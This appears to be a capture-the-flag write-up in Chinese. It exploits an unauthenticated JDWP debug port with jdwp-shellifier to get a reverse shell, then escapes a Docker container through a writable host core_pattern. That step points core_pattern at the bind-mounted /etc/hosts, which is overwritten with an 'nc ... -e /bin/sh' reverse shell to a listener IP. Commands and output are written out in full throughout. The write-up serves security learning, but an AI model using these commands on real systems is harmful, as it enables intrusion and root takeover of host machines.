

信息收集

拿到 IP 用 nmap 扫下端口

```
80/tcp    open  http                Apache httpd 2.4.67 ((Unix))
4000/tcp  open  remoteanything?
5005/tcp  open  jdwp                Java Debug Wire Protocol (Reference
Implementation) version 1.8 1.8.0_482
8080/tcp  open  http                Apache Tomcat 9.0.116
```

8080是tomcat,4000是Tomcat Tribes(CVE-2026-34486),5005是jdwp, 没鉴权, 直接jdwp-shellifier反弹shell

```
python2 jdwp-shellifier.py -t 192.168.1.190 -p 5005 --break-on
"java.lang.String.length" --cmd "bash -c {echo,用base64规避特殊字符}|{base64,-
d}|{bash,-i}"
```

拿到 user flag

进去是root, 但root目录下只有user的flag

```
root@73e08a556d2a:/usr/local/tomcat# id
id
uid=0(root) gid=0(root) groups=0(root)
root@73e08a556d2a:/usr/local/tomcat# ls ~
ls ~
crash.c
user.txt
cat ~/user.txt
flag{user-d47608d442526c015a0ce887ee66b333}
```

看hostname很像容器, 看一下/.dockerenv

```
root@73e08a556d2a:/usr/local/tomcat# ls -la /.dockerenv

ls -la /.dockerenv

-rwxr-xr-x 1 root root 0 May 21 13:14 /.dockerenv
```

容器逃逸

需要逃到宿主机，经典流程走一遍：先看是不是特权模式，再看挂载。
发现宿主机的/proc挂到了/host_proc。先看CapEff，没有CAP_SYS_PTRACE。

```
cat /proc/self/status | grep CapEff
CapEff: 00000000a80425fb
```

继续看经典利用点，发现/host_proc/sys/kernel/core_pattern可写，那就用core_pattern逃逸。

看下mountinfo，/etc/hosts 也是挂载的

```
cat /proc/1/mountinfo | grep container
90 80 8:3
/var/lib/docker/containers/73e08a556d2aba3b12a3981f98f873cef7cb7c45c73abb6535f
689a28f760349/resolv.conf /etc/resolv.conf rw,relatime - ext4 /dev/sda3 rw
91 80 8:3
/var/lib/docker/containers/73e08a556d2aba3b12a3981f98f873cef7cb7c45c73abb6535f
689a28f760349/hostname /etc/hostname rw,relatime - ext4 /dev/sda3 rw
92 80 8:3
/var/lib/docker/containers/73e08a556d2aba3b12a3981f98f873cef7cb7c45c73abb6535f
689a28f760349/hosts /etc/hosts rw,relatime - ext4 /dev/sda3 rw
```

容器里改/etc/hosts就是改宿主机的文件。core_pattern支持|/path语法，进程崩溃时宿主内核会以root执行指定脚本。

先拿容器ID

```
ID=$(grep -oP '/containers/\K[^\s]+' /proc/1/mountinfo | head -1)
```

core_pattern指向hosts

```
echo "|/var/lib/docker/containers/$ID/hosts" >
/host_proc/sys/kernel/core_pattern
```

确认写进去了

```
cat /host_proc/sys/kernel/core_pattern
|/var/lib/docker/containers/73e08a556d2aba3b12a3981f98f873cef7cb7c45c73abb6535
f689a28f760349/hosts
```

写反弹shell到hosts

```
cat > /etc/hosts << 'EOF'
#!/bin/sh
nc 192.168.1.171 5555 -e /bin/sh
EOF
```

加执行权限

```
chmod +x /etc/hosts
```

本地开监听

```
nc -lvnp 5555
```

让一个进程崩溃触发

```
ulimit -c unlimited
sh -c 'kill -SEGV $$'
```

拿到root flag

反弹shell成功

```
nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.1.171] from (UNKNOWN) [192.168.1.190] 44289

id

uid=0(root) gid=0(root)

cat /root/root.txt

flag{root-7e902fffa09d6e5347334eabb19f0b2e}
```